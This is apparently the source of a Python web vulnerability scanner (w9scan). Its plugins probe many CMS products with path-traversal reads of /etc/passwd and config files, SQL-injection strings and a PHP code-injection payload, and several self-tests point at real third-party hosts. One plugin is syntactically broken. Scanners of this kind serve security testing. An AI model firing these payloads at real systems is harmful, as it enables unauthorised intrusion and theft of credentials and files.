├── lib ├── __init__.py ├── core │ ├── __init__.py │ ├── enums.py │ ├── data.py │ └── exception.py └── utils │ ├── __init__.py │ └── versioncheck.py ├── thirdparty ├── __init__.py ├── ansistrm │ └── __init__.py ├── colorama │ └── __init__.py └── termcolor │ └── __init__.py ├── plugins ├── d-link │ └── __init__.py ├── __init__.py ├── www │ ├── w9_gitleak.py │ ├── iis7.5parse.py │ ├── web_xml_leak.py │ ├── w9_svncheck.py │ ├── w9_crossdomain.py │ ├── 1233.py │ ├── 139.py │ ├── 683.py │ ├── 806.py │ ├── cst.py │ ├── 2426.py │ ├── 319.py │ └── 1076.py ├── dedecms │ ├── passwordrest.py │ ├── 431.py │ ├── 67.py │ ├── 108.py │ └── 107.py ├── jcms │ ├── 823.py │ └── 826.py ├── phpmyadmin │ └── 99.py ├── umail │ ├── 576.py │ └── 1634.py ├── espcms │ ├── 78.py │ └── 81.py ├── taodi │ └── 1072.py ├── wdcp │ └── 167.py ├── ewebs │ ├── 1770.py │ └── 1645.py ├── wecenter │ └── 420.py ├── appcms │ ├── 607.py │ └── 1784.py ├── phpshe │ ├── 848.py │ └── 1140.py ├── weaver_oa │ ├── 956.py │ └── 2498.py ├── php168 │ ├── 138.py │ ├── 1252.py │ └── 1170.py ├── ynedut_campus │ └── 2622.py ├── jienuohan │ └── 2052.py ├── yongyou_fe │ ├── 238.py │ ├── 1910.py │ ├── 1909.py │ └── 1503.py ├── seentech_uccenter │ ├── 1848.py │ ├── 1846.py │ ├── 1526.py │ ├── 1827.py │ └── 1847.py ├── avcon6 │ ├── 592.py │ ├── 593.py │ └── 594.py ├── shopex │ └── 103.py ├── wordpress │ ├── 2457.py │ ├── 205.py │ ├── 143.py │ ├── 142.py │ ├── 1179.py │ ├── 2272.py │ ├── 1119.py │ ├── 1639.py │ ├── 175.py │ ├── 241.py │ ├── 184.py │ ├── 439.py │ ├── 843.py │ ├── 284.py │ ├── 779.py │ ├── 1417.py │ ├── 144.py │ ├── 171.py │ ├── 182.py │ ├── 2408.py │ ├── 177.py │ ├── 391.py │ └── 443.py ├── ecscms │ ├── 1525.py │ └── 1363.py ├── rockoa │ └── 1950.py ├── vicworl │ └── 1149.py ├── cmstop │ └── 56.py ├── qizhitong_manager │ ├── 1545.py │ └── 1616.py ├── wizbank │ └── 1819.py ├── feifeicms │ └── 432.py ├── strongsoft │ └── 1875.py ├── thinkphp │ ├── 1832.py │ └── 1834.py ├── zhengfang │ └── 234.py ├── discuz │ ├── 141.py │ ├── 1204.py │ ├── 449.py │ ├── 1466.py │ ├── 450.py │ ├── 80.py │ ├── 47.py │ ├── 1507.py │ ├── 200.py │ ├── 298.py │ ├── 118.py │ └── 278.py ├── shopbuilder │ ├── 562.py │ ├── 502.py │ ├── 606.py │ └── 564.py ├── extmail │ ├── 1161.py │ └── 1162.py ├── eyou │ ├── 236.py │ ├── 1141.py │ ├── 559.py │ └── 2578.py ├── ns-asg │ ├── 346.py │ ├── 287.py │ └── 345.py ├── qibocms │ ├── 317.py │ ├── 1741.py │ ├── 1755.py │ ├── 356.py │ └── 321.py ├── ecshop │ ├── 293.py │ ├── 158.py │ └── 482.py ├── joomla │ ├── 1559.py │ ├── 147.py │ ├── 2730.py │ ├── 1422.py │ ├── 1671.py │ └── 1637.py ├── zblog │ └── 202.py ├── jeecms │ └── 1358.py ├── klemanndesign │ └── 1662.py ├── moxa_nport_router │ └── 2566.py ├── pageadmin │ └── 1442.py ├── empire_cms │ └── 2219.py ├── gnuboard │ └── 250.py ├── phpcms │ ├── 155.py │ ├── 120.py │ ├── 483.py │ ├── 491.py │ ├── 899.py │ └── 690.py ├── luepacific │ └── 2034.py ├── metinfo │ ├── 152.py │ └── 2824.py ├── 74cms │ ├── 600.py │ └── 1687.py ├── acsoft │ ├── 2346.py │ ├── 2590.py │ ├── 2588.py │ └── 2589.py ├── chengrui_edu │ └── 2656.py ├── libsys │ ├── 1778.py │ ├── 1530.py │ └── 1278.py ├── nitc │ ├── 2599.py │ └── 2598.py ├── yongyou_zhiyuan_a6 │ ├── 2003.py │ ├── 1074.py │ └── 2675.py ├── phpweb │ ├── 166.py │ └── 1494.py ├── shop7z │ └── 2307.py ├── suyaxing2004 │ ├── 1138.py │ └── 1132.py ├── able_g2s │ └── 1193.py ├── dkcms │ └── 105.py ├── douphp │ └── 434.py ├── fsmcms │ ├── 1104.py │ ├── 1463.py │ └── 1697.py ├── hf_firewall │ └── 1997.py ├── huaficms │ └── 2647.py ├── iceflow_vpn_router │ └── 1937.py ├── emlog │ └── 1257.py ├── hanweb │ ├── 861.py │ └── 2421.py ├── heeroa │ ├── 1286.py │ └── 347.py ├── ipowercms │ └── 1139.py ├── iwms │ └── 2648.py ├── thinkox │ └── 616.py ├── cmseasy │ ├── 220.py │ ├── 219.py │ ├── 827.py │ └── 839.py ├── esccms │ ├── 2555.py │ └── 2613.py ├── supesite │ └── 169.py ├── urp │ ├── 193.py │ └── 263.py ├── xycms │ └── 1981.py ├── fangwei │ ├── 484.py │ ├── 486.py │ └── 1805.py ├── feiyuxing_router │ └── 2025.py ├── kesioncms │ └── 1280.py ├── lianbangsoft │ ├── 2660.py │ ├── 2659.py │ ├── 2661.py │ ├── 1595.py │ ├── 1721.py │ └── 1740.py ├── tianrui_lib │ └── 2467.py ├── topsec_topaudit │ └── 1457.py ├── whezeip │ ├── 1356.py │ └── 1406.py ├── kinggate │ └── 2021.py ├── kingosoft_xsweb │ └── 1289.py ├── xtcms │ └── 2727.py ├── yongyou_crm │ └── 2595.py ├── zhongruan_firewall │ └── 1999.py ├── kingdee_eas │ └── 2581.py ├── pkpmbs │ └── 2550.py ├── sitefactory │ └── 1359.py ├── suntown_pm │ └── 2685.py ├── tianbo_train │ └── 2044.py ├── workyi_system │ └── 1582.py ├── dalianqianhao │ ├── 1258.py │ └── 1060.py ├── es-cloud │ └── 1279.py ├── phpb2b │ └── 2097.py ├── phpmps │ └── 481.py ├── trs_wcm │ └── 2231.py ├── zfsoft │ └── 2305.py ├── acsno │ └── 2212.py ├── wisedu_elcs │ └── 2188.py ├── zfcgxt │ └── 2643.py ├── zrar_zw │ └── 2766.py ├── haohan │ └── 2170.py ├── jenkins │ └── 804.py ├── tipask │ └── 1863.py ├── cicro │ └── 2718.py ├── efuture │ └── 2670.py ├── fangweituangou │ ├── 384.py │ └── 488.py ├── hsort │ └── 3251.py ├── shopnc │ └── 2446.py ├── shopxp │ └── 1438.py ├── yongyou_nc │ └── 2580.py ├── Tour │ └── 113.py ├── edutech │ └── 2751.py ├── insight │ └── 2502.py ├── mainone_b2b │ └── 2645.py ├── niubicms │ └── 478.py ├── skytech │ ├── 2708.py │ ├── 2709.py │ ├── 2713.py │ ├── 2711.py │ ├── 2716.py │ └── 2714.py ├── 686_weixin │ └── 1633.py ├── drupal │ └── 1185.py ├── easethink │ └── 1238.py ├── shadows-it │ └── 2462.py ├── tcexam │ └── 2717.py ├── gxwssb │ └── 2748.py ├── ip │ └── 749.py ├── landray │ └── 2744.py ├── ng-ags │ └── 1271.py ├── pstar │ ├── 2734.py │ └── 2735.py ├── xr_gatewayplatform │ └── 1393.py ├── lcecgap │ └── 2697.py ├── mbbcms │ └── 467.py ├── iwebshop │ └── 1354.py ├── jinqiangui_p2p │ └── 1798.py ├── netpower │ └── 1957.py ├── panabit │ └── 2108.py ├── piaoyou │ ├── 2482.py │ └── 2603.py ├── 7stars │ └── 2663.py ├── srun_gateway │ └── 1928.py ├── startbbs │ └── 333.py ├── 360shop │ └── 2732.py └── 5clib │ └── 2798.py ├── images └── report.png ├── output └── __init__.py ├── .gitignore ├── config.conf └── dummy └── __init__.py /lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /thirdparty/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /plugins/d-link/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /images/report.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/w9scan/master/images/report.png -------------------------------------------------------------------------------- /output/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 这个目录输出结果以及日志文件 -------------------------------------------------------------------------------- /thirdparty/ansistrm/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/termcolor/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = w8ay 4 | # project = https://github.com/boy-hack/w9scan -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | *.egg-info 3 | *.log 4 | *.lprof 5 | *.py[cod] 6 | *.swp 7 | *.idea 8 | .coverage 9 | .svn 10 | .tox 11 | .idea 12 | output 13 | data 14 | test.py 15 | -------------------------------------------------------------------------------- /plugins/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # Author: VER007 4 | # Time: 17/4/1 上午12:42 5 | # Description: __init__.py python2.7 6 | # License: Apache Licence 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /plugins/www/w9_gitleak.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | def assign(service, arg): 4 | if service == "www": 5 | return True,arg 6 | 7 | def audit(arg): 8 | target_url = '/.git/config' 9 | 10 | code, head, body, redirect, log = hackhttp.http(arg + target_url) 11 | 12 | if '[remote "origin"]' in body: 13 | security_hole(" git leak:" + arg + target_url) 14 | -------------------------------------------------------------------------------- /config.conf: -------------------------------------------------------------------------------- 1 | # 这些选项用于配置w9scan扫描器扫描时的各种参数 2 | 3 | 4 | [Config] 5 | 6 | # 扫描线程 7 | thread = 10 8 | 9 | # 爬虫深度 10 | crawlerDeep = 10 11 | 12 | # 超时时间(秒) 13 | TimeOut = 10 14 | 15 | # User-agent 16 | UserAgent = Mozilla/5.0 w9scan by w8ay 17 | 18 | # Cookie 19 | Cookie = 20 | 21 | # Extra HTTP headers 22 | # eg: 23 | # header = 'Referer:https://bugscan.net\r\nUser-Agent: hackhttp user-agent' 24 | headers = -------------------------------------------------------------------------------- /lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | class CUSTOM_LOGGING: 5 | SYSINFO = 9 6 | SUCCESS = 8 7 | ERROR = 7 8 | WARNING = 6 9 | DEBUG = 5 10 | 11 | class EXIT_STATUS: 12 | SYSETM_EXIT = 0 13 | ERROR_EXIT = 1 14 | USER_QUIT = 2 15 | 16 | class OPTION_TYPE: 17 | BOOLEAN = "boolean" 18 | INTEGER = "integer" 19 | FLOAT = "float" 20 | STRING = "string" -------------------------------------------------------------------------------- /plugins/dedecms/passwordrest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #ref:https://www.t00ls.net/thread-43689-1-1.html 4 | 5 | def assign(service, arg): 6 | if service == "dedecms": 7 | return True, arg 8 | 9 | def audit(arg): 10 | url = arg 11 | code, head, body, redirect, log = hackhttp.http(arg + 'member/reg_new.php') 12 | if "系统关闭了会员功能" in body: 13 | return 14 | security_note("可能存在dede任意用户重置漏洞:https://www.t00ls.net/thread-43689-1-1.html") -------------------------------------------------------------------------------- /lib/utils/versioncheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) 5 | See the file 'doc/COPYING' for copying permission 6 | """ 7 | 8 | import sys 9 | 10 | PYVERSION = sys.version.split()[0] 11 | 12 | if PYVERSION >= "3" or PYVERSION < "2.6": 13 | exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'http://www.python.org/download/')" % PYVERSION) -------------------------------------------------------------------------------- /plugins/jcms/823.py: -------------------------------------------------------------------------------- 1 | import re 2 | def assign(service,arg): 3 | if service == "jcms": 4 | return True,arg 5 | def audit(arg): 6 | payload = "vc/vc/columncount/tem/downfile.jsp?filename=/etc/passwd&savename=down.txt" 7 | url = arg + payload 8 | code ,head,res,body,_ = curl.curl(url) 9 | if code == 200 and 'root:' in res: 10 | security_warning(url) 11 | 12 | if __name__ == '__main__': 13 | from dummy import * 14 | audit(assign('jcms','http://jcms.cscec.com/')[1]) -------------------------------------------------------------------------------- /plugins/phpmyadmin/99.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | def assign(service, arg): 4 | if service == 'phpmyadmin': 5 | return True, arg 6 | 7 | def audit(arg): 8 | code, head, res, errcode, _ = curl.curl(arg + 'main.php') 9 | if code == 200 and res and res.find('MySQL client version') != -1 and res.find('root@localhost') != -1: 10 | security_hole(arg) 11 | 12 | 13 | if __name__ == '__main__': 14 | from dummy import * 15 | audit(assign('phpmyadmin', 'http://union.fxaa.cc/old/')[1]) 16 | 17 | -------------------------------------------------------------------------------- /plugins/umail/576.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | def assign(service, arg): 4 | if service == "umail": 5 | return True, arg 6 | 7 | def audit(arg): 8 | payload = "webmail/getpass2.php?email=1@qq .com&update=2" 9 | url = arg + payload 10 | code, head, res, errcode, _ = curl.curl(url) 11 | if code == 200 and "Your password is" in res: 12 | security_info(url) 13 | 14 | if __name__ == '__main__': 15 | from dummy import * 16 | audit(assign('umail', 'http://mail.wanduyiliao.com.cn/')[1]) -------------------------------------------------------------------------------- /plugins/espcms/78.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # http://www.cnseay.com/archives/2383 3 | 4 | def assign(service, arg): 5 | if service == "espcms": 6 | return True, arg 7 | 8 | def audit(arg): 9 | url = arg 10 | code, _, res, _, _ = curl.curl(url + 'index.php?ac=search&at=taglist&tagkey=a%2527') 11 | if code == 200 and res.find('ESPCMS SQL Error:') != -1: 12 | security_hole(url) 13 | 14 | if __name__ == '__main__': 15 | from dummy import * 16 | audit(assign('espcms', 'http://www.fr8.cn/')[1]) 17 | -------------------------------------------------------------------------------- /plugins/dedecms/431.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re 3 | 4 | def assign(service, arg): 5 | if service == "dedecms": 6 | return True, arg 7 | 8 | def audit(arg): 9 | url = arg 10 | code, head, res, errcode, _ = curl.curl(url + 'data/mysqli_error_trace.inc') 11 | if code == 200 and 'exit();' in res: 12 | security_warning('dedecms error info:' + url + 'data/mysqli_error_trace.inc') 13 | if __name__ == '__main__': 14 | from dummy import * 15 | audit(assign('dedecms', 'http://localhost:66/dede')[1]) -------------------------------------------------------------------------------- /plugins/espcms/81.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # http://www.cnseay.com/archives/2383 3 | 4 | def assign(service, arg): 5 | if service == "espcms": 6 | return True, arg 7 | 8 | def audit(arg): 9 | url = arg 10 | code, _, res, _, _ = curl.curl(url + 'index.php?ac=search&at=list&att[seay]=testvul') 11 | if code == 200 and res.find('ESPCMS SQL Error:') != -1: 12 | security_hole(url) 13 | 14 | if __name__ == '__main__': 15 | from dummy import * 16 | audit(assign('espcms', 'http://www.fr8.cn/')[1]) 17 | -------------------------------------------------------------------------------- /plugins/taodi/1072.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re 3 | 4 | def assign(service, arg): 5 | if service == "taodi": 6 | return True, arg 7 | 8 | def audit(arg): 9 | url = arg 10 | code, head, res, errcode, _ = curl.curl2(url + 'taodi/pic.php?url=cGljLnBocA==') 11 | if code == 200: 12 | m = re.search('file_get_contents', res) 13 | if m: 14 | security_info(m.group(0)) 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('taodi','http://127.0.0.1/')[1]) 19 | -------------------------------------------------------------------------------- /plugins/www/iis7.5parse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re 3 | import urlparse 4 | 5 | 6 | def assign(service, arg): 7 | if service == "www": 8 | return True, arg 9 | 10 | 11 | def audit(arg): 12 | path = "/robots.txt/.php" 13 | code, head, res, errcode, _ = curl.curl(arg + path) 14 | if code == 200 and "User-agent" in res: 15 | security_note("存在解析漏洞:" + arg + path) 16 | 17 | 18 | if __name__ == '__main__': 19 | from dummy import * 20 | 21 | audit(assign('www', 'http://blog.hacking8.com/')[1]) 22 | -------------------------------------------------------------------------------- /plugins/dedecms/67.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # DedeCms data/mysql_error_trace.inc 敏感信息泄露 4 | 5 | def assign(service, arg): 6 | if service == "dedecms": 7 | return True, arg 8 | 9 | def audit(arg): 10 | url = arg + 'data/mysql_error_trace.inc' 11 | _, _, body, _, _ = curl.curl(url) 12 | if body and body.find('access.log' in body: 13 | security_warning(vul_url) 14 | 15 | if __name__ == '__main__': 16 | from dummy import * 17 | audit(assign('ewebs', 'http://60.190.163.51:8888/')[1]) -------------------------------------------------------------------------------- /plugins/wecenter/420.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re 3 | 4 | def assign(service, arg): 5 | if service == "wecenter": 6 | return True, arg 7 | 8 | def audit(arg): 9 | url = arg 10 | code, head, res, errcode, _ = curl.curl(url + '?/search/ajax/search_result/') 11 | if code == 200: 12 | m = re.search('in(.+) on line', res) 13 | if m: 14 | security_info(m.group(1)) 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('wecenter', 'http://localhost:8080/wecenter/')[1]) 19 | -------------------------------------------------------------------------------- /plugins/www/web_xml_leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re 3 | import urlparse 4 | 5 | 6 | def assign(service, arg): 7 | if service == "www": 8 | return True, arg 9 | 10 | 11 | def audit(arg): 12 | path = "/WEB-INF/web.xml" 13 | code, head, res, errcode, _ = curl.curl(arg + path) 14 | if code == 200 and "([^<]+)', res) 14 | if m: 15 | security_info(m.group(1)) 16 | 17 | 18 | if __name__ == '__main__': 19 | from dummy import * 20 | audit(assign('phpshe', 'http://www.jtdsc.com')[1]) -------------------------------------------------------------------------------- /plugins/weaver_oa/956.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | #__author__ = '1c3z' 4 | #ref http://www.wooyun.org/bugs/wooyun-2010-087500 5 | 6 | def assign(service, arg): 7 | if service == "weaver_oa": 8 | return True, arg 9 | 10 | def audit(url): 11 | url += 'mysql_config.ini' 12 | code, head,res, errcode, _ = curl.curl2(url) 13 | if 'datapassword' in res: 14 | security_warning(url) 15 | 16 | 17 | if __name__ == '__main__': 18 | from dummy import * 19 | audit(assign('weaver_oa', 'http://219.232.254.131:8082/')[1]) -------------------------------------------------------------------------------- /plugins/php168/138.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #__author__ = 'boy' 4 | 5 | 6 | def assign(service, arg): 7 | if service == "php168": 8 | return True, arg 9 | 10 | def audit(arg): 11 | code, head, res, errcode,finalurl = curl.curl('%snews/js.php?type=hot&f_id=23)' % arg) 12 | m = res.find("SELECT") 13 | if m!=-1: 14 | security_info('find sql injection:%snews/js.php?type=hot&f_id=23)'% arg) 15 | if __name__ == '__main__': 16 | from dummy import * 17 | audit(assign('php168', 'http://www.ly910.com/')[1]) 18 | -------------------------------------------------------------------------------- /plugins/ynedut_campus/2622.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/evn python 2 | #--coding:utf-8--*-- 3 | #Name:YNedut Campus数字校园平台任意命令执行 4 | #Refer:http://www.wooyun.org/bugs/wooyun-2014-050804 5 | #Author:xq17 6 | 7 | 8 | def assign(service, arg): 9 | if service == 'ynedut_campus': 10 | return True,arg 11 | def audit(arg): 12 | param_data = 'login/login!forwardFrameIndex.action' 13 | url = arg + param_data 14 | task_push('struts' ,url) 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('ynedut_campus','http://117.141.5.246:8800/oa/')[1]) -------------------------------------------------------------------------------- /lib/core/exception.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | class ToolkitBaseException(Exception): 5 | pass 6 | 7 | class ToolkitDataException(ToolkitBaseException): 8 | pass 9 | 10 | class ToolkitMissingPrivileges(ToolkitBaseException): 11 | pass 12 | 13 | class ToolkitUserQuitException(ToolkitBaseException): 14 | pass 15 | 16 | class ToolkitSystemException(ToolkitBaseException): 17 | pass 18 | 19 | class ToolkitValueException(ToolkitBaseException): 20 | pass 21 | 22 | class ToolkitPluginException(ToolkitBaseException): 23 | pass -------------------------------------------------------------------------------- /plugins/www/w9_crossdomain.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | ''' 4 | name: crossdomain.xml文件发现 5 | referer: unknown 6 | author: Lucifer 7 | description: crossdomain错误配置可导致。 8 | ''' 9 | def assign(service, arg): 10 | if service == "www": 11 | return True, arg 12 | 13 | def audit(arg): 14 | payload = "/crossdomain.xml" 15 | vulnurl = arg + payload 16 | code, head, html, redirect_url, log = hackhttp.http(vulnurl) 17 | if 'allow-access-from domain="*"' in html: 18 | security_note(u"存在crossdomain.xml文件发现漏洞...(信息) payload: "+vulnurl) -------------------------------------------------------------------------------- /plugins/jienuohan/2052.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import time 4 | def assign(service, arg): 5 | if service == "jienuohan": 6 | return True, arg 7 | 8 | def audit(arg): 9 | url = arg + 'Login.aspx' 10 | data = "username=' %2B (select convert(int,'test'%2B'vul') FROM syscolumns) %2B '" 11 | code,head,res,_,_ = curl.curl2(url,data) 12 | if code==200 and 'testvul' in res: 13 | security_hole(url) 14 | 15 | if __name__ == '__main__': 16 | from dummy import * 17 | audit(assign('jienuohan', 'http://tg.fiberglass365.com/')[1]) -------------------------------------------------------------------------------- /plugins/yongyou_fe/238.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # FE5.5 4 | # http://www.wooyun.org/bugs/wooyun-2010-086697 5 | def assign(service, arg): 6 | if service == "yongyou_fe": 7 | return True, arg 8 | 9 | def audit(arg): 10 | url = arg + '/common/treeXml.jsp?type=sort&lx=3&code=1%27' 11 | _, head, body, _, _ = curl.curl(url) 12 | if body and body.find('bad SQL grammar [];') != -1: 13 | security_hole(url) 14 | 15 | if __name__ == '__main__': 16 | from dummy import * 17 | audit(assign('yongyou_fe', 'http://www.example.com/')[1]) -------------------------------------------------------------------------------- /plugins/dedecms/108.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #__author__ = 'Ario' 4 | #SSV-ID: 61188 5 | 6 | def assign(service, arg): 7 | if service == "dedecms": 8 | return True, arg 9 | 10 | def audit(arg): 11 | url = arg + "plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D" 12 | _, head, body, _, re_url = curl.curl(url) 13 | if head and head.find('http://www.baidu.com') != -1: 14 | security_note(url) 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('dedecms', 'http://www.ceowo.com/')[1]) 19 | -------------------------------------------------------------------------------- /plugins/seentech_uccenter/1848.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #refer:http://www.wooyun.org/bugs/wooyun-2010-0123359 4 | 5 | def assign(service, arg): 6 | if service == 'seentech_uccenter': 7 | return True, arg 8 | 9 | def audit(arg): 10 | payload = "ucenter/include/getpasswd.php" 11 | code,_,res,_,_ = curl.curl2(arg+payload) 12 | if len(res)>0 and code ==200: 13 | security_warning(arg+payload) 14 | 15 | if __name__ == '__main__': 16 | from dummy import * 17 | audit(assign('seentech_uccenter', 'https://60.223.226.154/')[1]) -------------------------------------------------------------------------------- /plugins/avcon6/592.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #__Author__ = rabit2013 4 | #_PlugName_ = avcon6 upload file 5 | 6 | def assign(service, arg): 7 | if service == "avcon6": 8 | return True, arg 9 | 10 | def audit(arg): 11 | payload = "/voip/basemanager/dorolldata" 12 | url = arg + payload 13 | code, head, res, errcode, _ = curl.curl(url) 14 | if code == 200 and 'doRollback' in res: 15 | security_info(url) 16 | 17 | if __name__ == '__main__': 18 | from dummy import * 19 | audit(assign('avcon6', 'http://avcon.icampus.cn:8080')[1]) -------------------------------------------------------------------------------- /plugins/shopex/103.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | def assign(service, arg): 5 | if service == "shopex": 6 | return True, arg 7 | 8 | def audit(arg): 9 | for d in ['app/dev/', 'install/']: 10 | url = arg + d + 'svinfo.php?phpinfo=true' 11 | _, _, res, _, _ = curl.curl(url) 12 | if res and res.find('phpinfo()') != -1: 13 | security_info(url) 14 | break 15 | 16 | 17 | if __name__ == '__main__': 18 | from dummy import * 19 | audit(assign('shopex', 'http://www.finialshop.com/')[1]) 20 | -------------------------------------------------------------------------------- /plugins/wordpress/2457.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | def assign(service, arg): 4 | if service == "wordpress": 5 | return True, arg 6 | 7 | def audit(arg): 8 | payload = 'produits/?items_per_page=%24%7b%40print(md5(balabala))%7d&setListingType=grid' 9 | verify_url = arg + payload 10 | code, head, res, errcode, _ = curl.curl2(verify_url) 11 | if code == 200 and '4fd952b7a28daf93be5457b4318554a1' in res: 12 | security_hole(verify_url) 13 | 14 | if __name__ == '__main__': 15 | from dummy import * 16 | audit(assign('wordpress', 'http://www.abl-dz.com/')[1]) -------------------------------------------------------------------------------- /plugins/ecscms/1525.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | #Author:judger 4 | #SerType: ECS arbitrary file download 5 | def assign(service, arg): 6 | if service == 'ecscms': 7 | return True, arg 8 | 9 | def audit(arg): 10 | payload = "Tools/stream/FlvStream.ashx?file=./web.config" 11 | url = arg + payload 12 | code, head, body, errcode, _url = curl.curl2(url) 13 | if code == 200 and 'configSection' in body: 14 | security_warning('Arbitrary file download:'+url) 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('ecscms', 'http://www.jhyzh.com/')[1]) -------------------------------------------------------------------------------- /plugins/rockoa/1950.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -* 3 | # rockoa物理路径泄露 4 | 5 | import re 6 | def assign(service, arg): 7 | if service == 'rockoa': 8 | return True, arg 9 | 10 | def audit(arg): 11 | payload = "rock.php?m[]=login" 12 | code,_,res,_,_ = curl.curl2(arg+payload) 13 | if code == 500: 14 | pk = re.findall(r'in (.*) on line', res) 15 | if (len(pk) > 0): 16 | security_warning(arg+':'+pk[0]) 17 | 18 | if __name__ == '__main__': 19 | from dummy import * 20 | audit(assign('rockoa','http://demo.xh829.com/')[1]) -------------------------------------------------------------------------------- /plugins/vicworl/1149.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #-*- encoding:utf-8 -*- 3 | #__author__ = '1c3z' 4 | #http://www.wooyun.org/bugs/wooyun-2010-0106292 5 | 6 | def assign(service, arg): 7 | if service == "vicworl": 8 | return True, arg 9 | 10 | 11 | def audit(arg): 12 | payload = 'data/backup/VICWOR~1.SQL' 13 | url = arg + payload 14 | code, head,res, errcode, _ = curl.curl2(url) 15 | if code == 200 and 'MySQL dump' in res: 16 | security_warning(url) 17 | 18 | if __name__ == '__main__': 19 | from dummy import * 20 | audit(assign('vicworl', 'http://218.7.16.70/')[1]) -------------------------------------------------------------------------------- /plugins/cmstop/56.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re 3 | 4 | def assign(service, arg): 5 | if service != "cmstop": 6 | return 7 | return True, arg 8 | 9 | def audit(arg): 10 | url = arg 11 | code, head, res, errcode, _ = curl.curl(url + 'cmstop/apps/system/view/template/edit.php') 12 | if code == 200: 13 | m = re.search(' in ([^<]+) on line (\d+)', res) 14 | if m: 15 | security_info(m.group(1)) 16 | 17 | 18 | if __name__ == '__main__': 19 | from __loader import * 20 | audit(assign('cmstop', 'http://www.haosax.com/')[1]) 21 | -------------------------------------------------------------------------------- /plugins/qizhitong_manager/1545.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | def assign(service, arg): 5 | if service == 'qizhitong_manager': 6 | return True, arg 7 | 8 | def audit(arg): 9 | payload = "report/rp_download.jsp?file=/etc/passwd&null=null" 10 | url = arg + payload 11 | code, head, body, errcode, _url = curl.curl2(url) 12 | if code == 200 and 'root' in body and '/bin/bash' in body: 13 | security_warning('Arbitrary file download:'+url) 14 | 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('qizhitong_manager', 